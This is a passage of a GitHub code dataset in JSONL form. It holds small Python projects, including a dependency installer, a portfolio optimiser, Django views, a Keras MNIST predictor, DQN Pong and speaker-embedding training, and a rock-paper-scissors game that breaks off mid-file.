os\r\nfrom numpy import std\r\nimport wget\r\nimport zipfile\r\nimport subprocess\r\nimport shutil\r\n\r\ntry:\r\n os.mkdir(\"bin\", mode=777)\r\n os.mkdir(\"YT-CORPUS\", mode=777)\r\n os.mkdir(\"temp_yt\", mode=777)\r\n\r\nexcept FileExistsError:\r\n pass\r\n\r\nif os.name == 'posix':\r\n subprocess.call(['apt', 'install', 'ffmpeg', 'firefox', 'firefox-geckodriver', '-y'], \r\n stdout=subprocess.DEVNULL,\r\n stderr=subprocess.STDOUT)\r\n\r\n subprocess.call([\r\n 'cp', '/usr/lib/geckodriver', '/usr/bin'\r\n ],\r\n stdout=subprocess.DEVNULL,\r\n stderr=subprocess.STDOUT)\r\n\r\n subprocess.call(['cp', '/usr/lib/geckodriver', '/usr/bin'],\r\n stdout=subprocess.DEVNULL,\r\n stderr=subprocess.STDOUT)\r\n\r\nelif os.name == 'nt':\r\n filename = wget.download(\r\n \"https://github.com/BtbN/FFmpeg-Builds/releases/download/latest/ffmpeg-master-latest-win64-gpl.zip\"\r\n )\r\n\r\n try:\r\n os.remove(\"ffmpeg.zip\")\r\n except FileNotFoundError:\r\n pass\r\n \r\n os.rename(\r\n filename, \r\n \"ffmpeg.zip\"\r\n )\r\n \r\n\r\n archive = zipfile.ZipFile('ffmpeg.zip')\r\n for file in archive.namelist():\r\n if file.startswith('ffmpeg-master-latest-win64-gpl/bin/'):\r\n filename = os.path.basename(file)\r\n source = archive.open(file)\r\n \r\n if not filename:\r\n continue\r\n\r\n target = open(os.path.join(f'bin/{filename}'), \"wb\")\r\n\r\n with source, target:\r\n shutil.copyfileobj(source, target)\r\n\r\n target.close()\r\n source.close()\r\n\r\n archive.close()\r\n\r\n if os.path.exists(\"bin/geckodriver.exe\") == False:\r\n filename = wget.download(\r\n \"https://github.com/mozilla/geckodriver/releases/download/v0.31.0/geckodriver-v0.31.0-win64.zip\"\r\n )\r\n\r\n try:\r\n os.remove(\"gecko.zip\")\r\n except FileNotFoundError:\r\n pass\r\n\r\n os.rename(filename, \"gecko.zip\")\r\n archive = zipfile.ZipFile('gecko.zip')\r\n archive.extractall('bin/')\r\n archive.close()\r\n\r\n \r\n os.remove(\"gecko.zip\")\r\n os.remove(\"ffmpeg.zip\")\r\n\r\n","repo_name":"dellano54/youtube-speech-corpus","sub_path":"initilizer.py","file_name":"initilizer.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71921078011","text":"import pandas as pd\nimport numpy as np\nfrom algorithms.Algorithm import Algorithm\nfrom datetime import datetime, timedelta\n\n\nclass Gini(Algorithm):\n\n def __init__(self, risk_score, model_name):\n super().__init__( risk_score, model_name )\n\n def get_optimal_portfolio(self):\n selected_prices_value = self.prices_df[self.selected_assets].dropna()\n num_portfolios = 1000\n years = len(selected_prices_value) / 253\n starting_value = selected_prices_value.iloc[0, :]\n ending_value = selected_prices_value.iloc[len(selected_prices_value) - 1, :]\n total_period_return = ending_value / starting_value\n annual_returns = (total_period_return ** (1 / years)) - 1\n port_returns = []\n port_gini_coefficient = []\n sharpe_ratio = []\n stock_weights = []\n num_assets = len(self.selected_assets)\n np.random.seed(101)\n\n for single_portfolio in range(num_portfolios):\n weights = np.random.random(num_assets)\n weights /= np.sum(weights)\n returns = np.dot(weights, annual_returns)\n gini_coefficient = (selected_prices_value.mad()).mad()\n sharpe = returns / gini_coefficient\n sharpe_ratio.append(sharpe)\n port_returns.append(returns * 100)\n port_gini_coefficient.append(gini_coefficient * 100)\n stock_weights.append(weights)\n portfolio = {'Returns': port_returns,\n 'Volatility': port_gini_coefficient,\n 'Sharpe Ratio': sharpe_ratio}\n for i, symbol in enumerate(self.selected_assets):\n portfolio[symbol] = [Weight[i] for Weight in stock_weights]\n df = pd.DataFrame(portfolio)\n columns = ['Returns', 'Volatility', 'Sharpe Ratio'] + [stock for stock in self.selected_assets]\n df = df[columns]\n best_sharpe_portfolio = df.loc[df['Sharpe Ratio'] == df['Sharpe Ratio'].max()]\n sharpe_portfolio = pd.DataFrame(columns=['Ticker', 'Weight'])\n for i in range(len(self.selected_assets)):\n ticker = self.selected_assets[i]\n weight = best_sharpe_portfolio.loc[:, ticker].iloc[0]\n sharpe_portfolio = sharpe_portfolio.append({'Ticker': ticker, 'Weight': weight}, ignore_index=True)\n sharpe_portfolio = sharpe_portfolio.set_index('Ticker')\n return sharpe_portfolio\n","repo_name":"avielfedida/RoboAdvisor","sub_path":"server/algorithms/mean_gini.py","file_name":"mean_gini.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35571071784","text":"import pandas as pd\n\nDATA_DIR = \"../data/prepared/twitter\"\nFN_LEMMAS = \"2022_01_01_to_07_lemmas_02.csv\"\nOUT_FN = \"2022_01_01_to_07_userids_02.csv\"\n\ndf = pd.read_csv(\"{}/{}\".format(DATA_DIR, FN_LEMMAS), header=0, index_col=0)\n\nuser_ids = df['userid'].unique()\nprint(user_ids)\n\nwith open(\"{}/{}\".format(DATA_DIR, OUT_FN), \"w\") as f:\n for u in user_ids:\n f.write(\"{}\\n\".format(u))\n","repo_name":"wpower12/MLNEmbeddings","sub_path":"scratch/00_userid_list.py","file_name":"00_userid_list.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33577725362","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nfrom bookmark.models import Bookmark\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.views.generic import View\n# Create your views here.\n\n\nclass AddRemoveBookmark(View):\n def get(self, request, *args, **kwargs):\n response = {\n 'status' : False\n }\n slug = self.kwargs['stave_slug']\n try:\n Bookmark.objects.get(user=self.request.user, stave__slug=slug).delete()\n except Bookmark.DoesNotExist:\n Bookmark.objects.create(user=self.request.user, stave__slug=slug)\n response['following'] = True\n return JsonResponse(response, safe=False)\n\n","repo_name":"dauntless001/Store-Recipie","sub_path":"bookmark/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30029749733","text":"def binsearchIter(value, values):\n # takes care of the base case\n if values ==[]: return False\n\n left, right = 0, len(values) -1\n while left <= right:\n mid = (left + right) //2\n # high probability event first in if statements\n if values[mid] < value:\n left = mid + 1\n elif values[mid] > value:\n right = mid - 1\n else:\n return True\n return False\n\nprint(binsearchIter(3, [1,5,7,10]))\n# I want to test if my branch works\n# I don't want to deal with merge conflict\n","repo_name":"HilaryHe1012/LecInfo","sub_path":"BinarySearch.py","file_name":"BinarySearch.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18095564735","text":"import turtle\n\nt = turtle.Turtle()\ns = turtle.Screen()\ns.bgcolor('black')\nt.speed('fastest')\nfor x in range(200):\n t.pencolor('blue')\n t.width(x / 100 + 1)\n t.forward(x)\n t.left(79)\n","repo_name":"QAAAK/Animation_in_Turtle","sub_path":"the square is transformed into a circle.py","file_name":"the square is transformed into a circle.py","file_ext":"py","file_size_in_byte":194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31774432689","text":"class Base1:\n def __init__(self,a):\n self.x=a\n\n\nclass Base2:\n def getdata(self,b):\n self.y=b\n\n\nclass derive(Base1,Base2):\n def putdata(self):\n self.add=self.x+self.y\n print(\"addition of two numbers :\",self.add)\n\nx=int(input(\"Enter the value of x : \"))\ny=int(input(\"Enter the value of y : \"))\nd=derive(x)\nd.getdata(y)\nd.putdata()\n","repo_name":"ssiedu/Python-Programming-050922-7PM-","sub_path":"multipleinheri.py","file_name":"multipleinheri.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20319742877","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nfrom .models import Tree, Post\nfrom django.db.models import Count\n\n\ndef index(request):\n # latest_question_list = Question.objects.order_by('-pub_date')[:5]\n # context = {'latest_question_list': latest_question_list}s\n\n trees = Tree.objects.all().annotate(n_posts=Count(\"posts\"))\n posts = Post.objects.all()\n context = {\n \"trees\": trees,\n \"stats\": {\n \"Árvores cadastradas\": trees.count(),\n \"Espécies\": trees.aggregate(\n n_species=Count(\"nome_cientifico\", distinct=True)\n )[\"n_species\"],\n \"Ton. de CO2 retido\": round(sum(t.stored_co2 for t in trees), 1),\n \"Comentários\": posts.count(),\n },\n }\n\n return render(request, \"index.html\", context)\n","repo_name":"nickolasbmm/habitas","sub_path":"habitas/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9759757758","text":"from collections import deque\ndef slidingWindowMax(nums,k):\n\tdeq,output = deque(),[]\n\tn = len(nums)\n\tdef clean_deq(deq,i):\n\t\twhile deq and deq[0] == i-k:\n\t\t\tdeq.popleft()\n\t\twhile deq and nums[deq[-1]] < nums[i]:\n\t\t\tdeq.pop()\n\n\tfor i in range(k):\n\t\tclean_deq(deq,i)\n\t\tdeq.append(i)\n\toutput.append(nums[deq[0]])\n\n\tfor i in range(k,n):\n\t\tclean_deq(deq,i)\n\t\tdeq.append(i)\n\t\toutput.append(nums[deq[0]])\n\n\treturn output\n\t\nprint(slidingWindowMax([1,3,-1,-3,5,3,6,7],3))\n","repo_name":"deepitapai/Coding-Interview-Prep","sub_path":"Leetcode solutions/sliding-window-maximum.py","file_name":"sliding-window-maximum.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35804267888","text":"import numpy as np\nimport cv2\nimport keras\nfrom keras.models import load_model\nfrom keras.optimizers import SGD\nfrom keras.utils.vis_utils import plot_model\npath=\"./mnist.npz\"\nf=np.load(path)\nx_train, y_train = f['x_train'], f['y_train']\nx_test, y_test = f['x_test'], f['y_test']\ncv2.namedWindow(\"img\")\ncv2.imshow(\"img\",x_test[0])\ncv2.waitKey(0)\nx_train=x_train.reshape(x_train.shape[0],28*28).astype('float32')\nx_test=x_test.reshape(x_test.shape[0],28*28).astype('float32')\n#x_test[0]=x_test[0].reshape(1,28*28)\ny_test=keras.utils.to_categorical(y_test,10)\nf.close()\nmodel=load_model('./now_model.h5')\nsgd=SGD(lr=0.01,momentum=0.9,decay=1e-9,nesterov=True)#优化函数,参数有学习率,学习衰退率 ,指数1e-9这样写\nmodel.compile(optimizer=sgd,loss='categorical_crossentropy') # 使用交叉熵作为loss函数\n#plot_model(model, to_file='model1.png', show_shapes=True)\nprint(\"*********\")\nx=np.array([x_test[0]])#!!!!!!!important!!!!!!!\nans=model.predict(x)\nprint(ans)\nprint(y_test[0])\nansmax=np.argmax(ans)\nyuanmax=np.argmax(y_test[0])\nprint(ansmax)\nprint(yuanmax)\n","repo_name":"liuxinfengabc/cultivate","sub_path":"5.机器学习/src/keras_mnist/flatten/mnist_predict.py","file_name":"mnist_predict.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"78"} +{"seq_id":"26088940149","text":"import asyncio\nimport logging\nfrom typing import List\nfrom aiogram import Bot\n\nfrom .utils import log_message, create_user_link\n\nfrom ..utils import config\nfrom ..models import db, Calculation, Cluster, CalculationStatus, SubmitType\nfrom ..models import User as UserModel\nfrom ..models import TelegramUser as TelegramUserModel\n\n\nCALCULATION_FAILED_TO_UPLOAD = (\n 'Ошибка при загрузке расчёта {name}. '\n 'Повторите попытку позже или обратитесь к администратору'\n)\nCALCULATION_FAILED_TO_UPLOAD_LOG = (\n 'Ошибка при загрузке расчёта {name} у пользователя {user}'\n)\nCALCULATION_FINISHED = (\n 'Расчёт {name} завершился. '\n 'Результаты расчёта доступны по ссылке'\n)\nCALCULATION_FINISHED_LOG = (\n 'У пользователя {user} завершился расчёт {name}. '\n 'Результаты расчёта доступны по ссылке'\n)\n\n\nasync def notify_on_finished(bot: Bot):\n calculations: List[Calculation] = (\n Calculation.select(\n Calculation, Cluster, UserModel, TelegramUserModel\n )\n .join(Cluster).switch(Calculation)\n .join(UserModel)\n .join(TelegramUserModel)\n .where((\n (Calculation.status == CalculationStatus.CLOUDED.value) |\n (Calculation.status == CalculationStatus.FAILED_TO_UPLOAD.value)\n ) & (Calculation.submit_type == SubmitType.TELEGRAM.value))\n )\n users: List[TelegramUserModel] = [calc.user.tg_user[0]\n for calc in calculations]\n\n updated = []\n for calc, user in zip(calculations, users):\n if calc.get_status() == CalculationStatus.FAILED_TO_UPLOAD:\n text = CALCULATION_FAILED_TO_UPLOAD.format(\n name=calc.name\n )\n log_text = CALCULATION_FAILED_TO_UPLOAD_LOG.format(\n user=create_user_link(\n model=user\n ),\n name=calc.name\n )\n calc.set_status(CalculationStatus.SENDED)\n else:\n link = config.storage.get_shared(calc.get_folder_name())\n text = CALCULATION_FINISHED.format(\n name=calc.name,\n link=link\n )\n log_text = CALCULATION_FINISHED_LOG.format(\n user=create_user_link(\n model=user\n ),\n name=calc.name,\n link=link\n )\n calc.set_status(CalculationStatus.SENDED)\n\n updated.append(calc)\n\n try:\n message = await bot.send_message(\n chat_id=user.tg_id,\n text=text\n )\n await log_message(\n bot=bot,\n text=log_text\n )\n except Exception as e:\n logging.error(\n 'Failed to send message to user #{id}'.format(id=user.id),\n exc_info=e\n )\n\n if len(updated) > 0:\n with db.atomic():\n Calculation.bulk_update(\n updated,\n fields=['status']\n )\n","repo_name":"UnWaDo/HPC_bot","sub_path":"HPC_bot/telegram/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41289530210","text":"import sys\nimport socket\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nport = 10000\nif len(sys.argv) >= 2:\n port = int(sys.argv[1])\nserver_address = ('localhost', port)\nbuffer_size = 128\ntry:\n\n sock.sendto('Hello, Server!'.encode(), server_address)\n raw, server = sock.recvfrom(buffer_size)\n data = raw.decode()\n print('recv: ' + str(data))\n\nfinally:\n print('closing')\n sock.close()","repo_name":"atadi96/felev5","sub_path":"szamhalok/gyak03/udp_client.py","file_name":"udp_client.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38162375684","text":"class QuickSort:\n def __init__(self, array):\n self.array = array\n\n\n def swap(self, pointer1, pointer2):\n self.array[pointer1], self.array[pointer2] = self.array[pointer2], self.array[pointer1]\n\n def set_partition(self, left_pointer, right_pointer):\n self.pivot_position = right_pointer\n self.pivot = self.array[self.pivot_position]\n\n right_pointer = right_pointer - 1\n\n while(True):\n \n while(self.array[left_pointer] < self.pivot):\n left_pointer = left_pointer + 1\n\n while(self.array[right_pointer] > self.pivot):\n right_pointer = right_pointer - 1\n\n if left_pointer >= right_pointer:\n break\n else:\n self.swap(left_pointer, right_pointer)\n\n self.swap(left_pointer, self.pivot_position)\n return left_pointer\n\n def quick_sort(self, left_index, right_index):\n if right_index - left_index <= 0:\n return\n \n pivot_position = self.set_partition(left_index, right_index)\n self.quick_sort(left_index, pivot_position -1)\n self.quick_sort(pivot_position + 1, right_index)\n","repo_name":"jpvargasdev/Algorithms","sub_path":"AlgorithmsPY/quick_sort.py","file_name":"quick_sort.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"12012568271","text":"from datetime import datetime, timedelta\nimport extractor as extr\nimport pytz\nimport os\n\n# obtain full path where the file is located\n# then obtain the path to the dir from that full path\nsrc_dir = os.path.dirname(os.path.realpath(__file__))\n\n\ndef epoch_delta(date):\n return date - pytz.timezone(\"UTC\").localize(datetime(1970, 1, 1))\n\n\ndef New_York_time(year, mon, day, h=0, m=0, s=0):\n return epoch_delta(pytz.timezone(\"America/New_York\").\n localize(datetime(year, mon, day, h, m, s)))\n\n\nif __name__ == \"__main__\":\n graph = extr.system.comp_graph()\n\n op = graph.features\n\n trade_file = src_dir + \"/data/sip_trades_20171018.mp\"\n\n trades_in = op.mp_play(\n trade_file,\n ((\"receive\", extr.Time64, \"\"),\n (\"ticker\", extr.Array(extr.Char, 16), \"\"),\n (\"market\", extr.Array(extr.Char, 32), \"\"),\n (\"price\", extr.Rprice, \"\"),\n (\"qty\", extr.Int32, \"\"),\n (\"side\", extr.Int32, \"\")))\n\n out_stream = op.perf_timer_start(trades_in, \"ident_batch\")\n\n for i in range(0, 1000):\n out_stream = op.identity(out_stream)\n\n out_stream = op.perf_timer_stop(out_stream, \"ident_batch\")\n\n graph.stream_ctx().run_to(New_York_time(2017, 10, 18, 16))\n\n print(\"Time spent on identity operators\", extr.system.sample_value(\"ident_batch\"))\n","repo_name":"featuremine/extractor","sub_path":"test/perf_ident.py","file_name":"perf_ident.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"1987909354","text":"from framework import Behaviour\nfrom motobs.stop import Stop\n\nclass StopMoving(Behaviour):\n\n def __init__(self, start_moving, am_i_alive):\n super().__init__(Stop)\n\n self.checker = start_moving\n self.moving = 0\n self.sensobs.append(am_i_alive)\n\n def update(self):\n one = self.sense_and_act()\n if self.moving:\n self.weight = one\n\n\n def sense_and_act(self):\n value = self.sensobs[0].get_value()\n return value\n\n def set_moving(self, number):\n self.moving = number\n\n def get_weight(self):\n if self.weight:\n self.moving = 0\n self.weight = 0\n try:\n self.checker.set_moving(0)\n except:\n pass\n return 1\n return 0","repo_name":"solbjorg/tdt4113-robot","sub_path":"basic_robot/behaviours/stopmoving.py","file_name":"stopmoving.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6799991177","text":"from dateutil.rrule import *\nfrom datetime import date\n\nTODAY = date(year=2018, month=11, day=29)\n\n\ndef get_hundred_weekdays(start_date=TODAY):\n \"\"\"Return a list of hundred date objects starting from\n start_date up till 100 weekdays later, so +100 days\n skipping Saturdays and Sundays\"\"\"\n return [\n dt.date()\n for dt in rrule(DAILY, count=100, dtstart=start_date, byweekday=(MO, TU, WE, TH, FR))\n ]\n","repo_name":"etoFlash/bitesofpy","sub_path":"147/hundred_days.py","file_name":"hundred_days.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"33712599143","text":"import gym\nimport tensorflow as tf\nimport numpy as np\nimport pandas as pd\nimport random\nfrom collections import deque\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.optimizers import Adam\n\nfrom scores.score_logger import ScoreLogger\n\nENV_NAME = \"Pong-ram-v0\"\n\nLEARNING_RATE = 0.001\n\nMEMORY_SIZE = 1000000\n\nTOTAL_EPS = 500\nEXPLORATION_MAX = 1.0\nEXPLORATION_MIN = 0.01\nEXPLORATION_DECAY = 0.995\n\nrender = True\n\n\nclass DQNSolver:\n\n def __init__(self, observation_space, action_space):\n self.exploration_rate = EXPLORATION_MAX\n\n self.action_space = action_space\n self.memory = deque(maxlen=MEMORY_SIZE)\n\n self.model = Sequential()\n self.model.add(Dense(24, input_shape=(\n observation_space,), activation=\"relu\"))\n self.model.add(Dense(24, activation=\"relu\"))\n self.model.add(Dense(self.action_space, activation=\"linear\"))\n self.model.compile(loss=\"mse\", optimizer=Adam(lr=LEARNING_RATE))\n\n def remember(self, state, action, reward, next_state, done):\n self.memory.append((state, action, reward, next_state, done))\n\n def act(self, state):\n if np.random.rand() < self.exploration_rate:\n return random.randrange(self.action_space)\n q_values = self.model.predict(state)\n return np.argmax(q_values[0])\n\n def experience_replay(self):\n if len(self.memory) < BATCH_SIZE:\n return\n batch = random.sample(self.memory, BATCH_SIZE)\n for state, action, reward, state_next, terminal in batch:\n q_update = reward\n if not terminal:\n q_update = (reward + GAMMA *\n np.amax(self.model.predict(state_next)[0]))\n q_values = self.model.predict(state)\n q_values[0][action] = q_update\n self.model.fit(state, q_values, verbose=0)\n self.exploration_rate *= EXPLORATION_DECAY\n self.exploration_rate = max(EXPLORATION_MIN, self.exploration_rate)\n\n# n_states = env.observation_space.shape\n# tot_states = 0\n# for d in n_states:\n# tot_states += d\n# n_actions = env.action_space.n\n\n\n# n_hidden_1 = 200\n# n_input = tot_states\nBATCH_SIZE = 500\nGAMMA = .99\n\nself.model = Sequential()\nself.model.add(Dense(24, input_shape=(observation_space,), activation=\"relu\"))\nself.model.add(Dense(24, activation=\"relu\"))\nself.model.add(Dense(self.action_space, activation=\"linear\"))\nself.model.compile(loss=\"mse\", optimizer=Adam(lr=0.001))\n\n# weights = {\n# 'h1': tf.Variable(tf.random_normal([n_input, n_hidden_1])),\n# 'out': tf.Variable(tf.random_normal([n_hidden_1, n_actions]))\n# }\n# biases = {\n# 'b1': tf.Variable(tf.random_normal([n_hidden_1])),\n# 'out': tf.Variable(tf.random_normal([n_actions]))\n# }\n\n# keep_prob = tf.placeholder(\"float\")\n\n\ndef experience_replay(self):\n if len(self.memory) < BATCH_SIZE:\n return\n batch = random.sample(self.memory, BATCH_SIZE)\n for s, a, r, s_next, f in batch:\n q_update = r\n if not f:\n q_update = (r + GAMMA *\n np.amax(self.model.predict(s_next)[0]))\n q_values = self.model.predict(s)\n q_values[0][a] = q_update\n self.model.fit(s, q_values, verbose=0)\n\n\ndef build_nn(x, weights, biases):\n layer_1 = tf.add(tf.matmul(x, weights['h1']), biases['b1'])\n layer_1 = tf.nn.relu(layer_1)\n # layer_1 = tf.nn.dropout(layer_1, keep_prob)\n out_layer = tf.matmul(layer_1, weights['out']) + biases['out']\n return out_layer\n\n\ndef pong():\n env = gym.make(ENV_NAME)\n observation_space = env.observation_space.shape[0]\n action_space = env.action_space.n\n dqn_solver = DQNSolver(observation_space, action_space)\n ep = 0\n while ep < TOTAL_EPS:\n obs = env.reset()\n obs = np.reshape(obs, [1, observation_space])\n while True:\n if render:\n env.render()\n action = dqn_solver.act(obs)\n obs_next, r, f, info = env.step(action)\n r = r if not f else -r # TODO not sure\n obs_next = np.reshape(obs_next, [1, observation_space])\n dqn_solver.remember(obs, action, r, obs_next, f)\n dqn_solver.experience_replay()\n obs = obs_next\n if f:\n break\n ep += 1\n env.close()\n","repo_name":"Zman94/Learning-RL","sub_path":"PongRam/dingdong.py","file_name":"dingdong.py","file_ext":"py","file_size_in_byte":4291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40908206575","text":"# gaussian jobs used to identify the type of calculation and insert it to the db\nJOB_TYPES = {\n \"sp\",\n \"opt\",\n \"freq\",\n \"irc\",\n \"ircmax\",\n \"scan\",\n \"polar\",\n \"admp\",\n \"bomd\",\n \"eet\",\n \"force\",\n \"stable\",\n \"volume\",\n \"density\",\n \"guess\",\n \"pop\",\n \"scrf\",\n \"cphf\",\n \"prop\",\n \"nmr\",\n \"cis\",\n \"zindo\",\n \"td\",\n \"eom\",\n \"sac-ci\",\n}\n\n# gaussian SCRF models used to identify calculation model and insert to the db\nSCRF_MODELS = {\"pcm\", \"iefpcm\", \"cpcm\", \"dipole\", \"ipcm\", \"isodensity\", \"scipcm\", \"smd\"}\n\n# default gaussian inputs used in the workflows if not specified by user\nSTANDARD_OPT_GUASSIAN_INPUT = {\n \"functional\": \"B3LYP\",\n \"basis_set\": \"6-31G(d)\",\n \"route_parameters\": {\"Opt\": None},\n \"link0_parameters\": {\n \"%chk\": \"checkpoint.chk\",\n \"%mem\": \"45GB\",\n \"%NProcShared\": \"24\",\n },\n}\n\n# maximum number of errors to correct\nCUSTODIAN_MAX_ERRORS = 5\n","repo_name":"molmd/mispr","sub_path":"mispr/gaussian/defaults.py","file_name":"defaults.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"78"} +{"seq_id":"47093603327","text":"#training\nimport wandb\nfrom torchaudio.transforms import MelSpectrogram\nfrom torch import optim\nimport os \nimport umap\nimport torch\n#\n\nreducer = umap.UMAP(random_state=42, n_neighbors=7, min_dist=0.1)\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nmanifold_approx = []\nval_loss = []\nnum_utt = 27629\nnum_epoch = 30\nmodel = Nnet()\noptimizer = optim.Adam(model.parameters())\ncriterion = GE2ELoss(init_w=10.0, init_b=-5.0, loss_method='softmax')\nmelspec = MelSpectrogram(n_mels=128, n_fft=400).to(device)\nfor i in range(num_epoch):\n run = wandb.init(project=\"ge2e\", reinit=True)\n running_loss =0.0\n for k in range(num_utt // 80):\n model.to(device)\n model.train()\n X = get_batch('/content/LibriSpeech/train-clean-100', 8, 10).sampler()\n X = padding_batch(X).to(device)\n\n X = melspec(X)\n\n optimizer.zero_grad()\n outputs = model(X).view(8, 10, -1)\n loss = criterion(outputs)\n loss.backward()\n\n optimizer.step()\n \n running_loss += loss.item()\n if (k + 1) % 20 == 0:\n print(f'Train epoch:{i}, mean loss = {running_loss / 20}')\n\n wandb.log({\"Loss\": running_loss / 20})\n\n running_loss = 0.0\n #there should be 3 different piles of points as val_data has 3 different speakers\n if (k + 1) % 40 == 0:\n model.eval()\n model.to('cpu')\n with torch.no_grad():\n test = model(val_audio)\n reducer.fit(test)\n manifold_approx.append(reducer.fit_transform(test))\n print('Val loss is: ', criterion(model(val_audio).view(3,9,-1)))\n val_loss.append(criterion(model(val_audio).view(3,9,-1)))\n run.finish()\n \ntorch.save(model.state_dict(), os.path.join(wandb.run.dir, 'model.pt'))\n","repo_name":"sakharok13/KWS-with-speaker-verification-pytorch","sub_path":"embedder_train.py","file_name":"embedder_train.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"42873840679","text":"import random\r\n\r\nprint('Rock...')\r\nprint('Paper...')\r\nprint('Scissors...')\r\na = \"y\"\r\nwhile a == \"y\":\r\n p1_wins = 0\r\n p2_wins = 0\r\n com_wins = 0\r\n win_score = int(input(\"define a wining score :\"))\r\n gameMode = input(\"please choose a game mode (pvp or pvc)\")\r\n if gameMode == \"pvc\":\r\n print(gameMode)\r\n while p1_wins < win_score and com_wins < win_score:\r\n print(f\"Player_1 score : {p1_wins} com score : {com_wins}\")\r\n Player_1 = input('Player_1 , Make your move :').lower()\r\n com = random.choice([\"rock\", \"scissor\", \"paper\"])\r\n if Player_1 == \"surrender\" or Player_1 == \"quit\":\r\n print(f\"Player_1 score : {p1_wins} com : {com_wins}\")\r\n print(\"Player_1 surrendered , com wins\")\r\n break\r\n else:\r\n print(f\"com chose {com}\")\r\n if Player_1 == com:\r\n print(\"Tie\")\r\n elif Player_1 == \"rock\":\r\n if com == \"scissor\":\r\n print(\"Player_1 Wins\")\r\n p1_wins += 1\r\n elif com == \"paper\":\r\n print(\"com Wins\")\r\n com_wins += 1\r\n else:\r\n print(\"Something went wrong ...\")\r\n elif Player_1 == \"scissor\":\r\n if com == \"paper\":\r\n print(\"Player_1 Wins\")\r\n p1_wins += 1\r\n elif com == \"rock\":\r\n print(\"com Wins\")\r\n com_wins += 1\r\n else:\r\n print(\"Something went wrong ...\")\r\n elif Player_1 == \"paper\":\r\n if com == \"rock\":\r\n print(\"Player_1 Wins\")\r\n p1_wins += 1\r\n elif com == \"scissor\":\r\n print(\"com Wins\")\r\n com_wins += 1\r\n else:\r\n print(\"Something went wrong ...\")\r\n else:\r\n print(\"Something went wrong ...\")\r\n if p1_wins == win_score or com_wins == win_score:\r\n if p1_wins > com_wins:\r\n print(\"Player_1 Wins the match !!!\")\r\n elif com_wins > p1_wins:\r\n print(\"com Wins the match !!!\")\r\n elif com_wins == p1_wins:\r\n print(\"the match ended with a Tie !!!\")\r\n print(f\"Player_1 score : {p1_wins} com score : {com_wins}\")\r\n elif gameMode == \"pvp\":\r\n print(gameMode)\r\n while p1_wins < win_score and p2_wins < win_score:\r\n print(f\"Player_1 score : {p1_wins} Player_2 score : {p2_wins}\")\r\n Player_1 = input('Player_1 , Make your move :').lower()\r\n Player_2 = input('Player_2 , Make your move :').lower()\r\n if Player_1 == \"surrender\" or Player_2 == \"surrender\" or Player_1 == \"quit\" or Player_2 == \"quit\":\r\n print(f\"Player_1 score : {p1_wins} Player_2 score : {p2_wins}\")\r\n if Player_1 == \"surrender\" or Player_1 == \"quit\":\r\n print(\"Player_1 surrendered , Player_2 wins\")\r\n break\r\n elif Player_2 == \"surrender\" or Player_2 == \"quit\":\r\n print(\"Player_2 surrendered , Player_1 wins\")\r\n break\r\n else:\r\n print(f\"Player_2 chose {Player_2}\")\r\n if Player_1 == Player_2:\r\n print(\"Tie\")\r\n elif Player_1 == \"rock\":\r\n if Player_2 == \"scissor\":\r\n print(\"Player_1 Wins\")\r\n p1_wins += 1\r\n elif Player_2 == \"paper\":\r\n print(\"Player_2 Wins\")\r\n p2_wins += 1\r\n else:\r\n print(\"Something went wrong ...\")\r\n elif Player_1 == \"scissor\":\r\n if Player_2 == \"paper\":\r\n print(\"Player_1 Wins\")\r\n p1_wins += 1\r\n elif Player_2 == \"rock\":\r\n print(\"Player_2 Wins\")\r\n p2_wins += 1\r\n 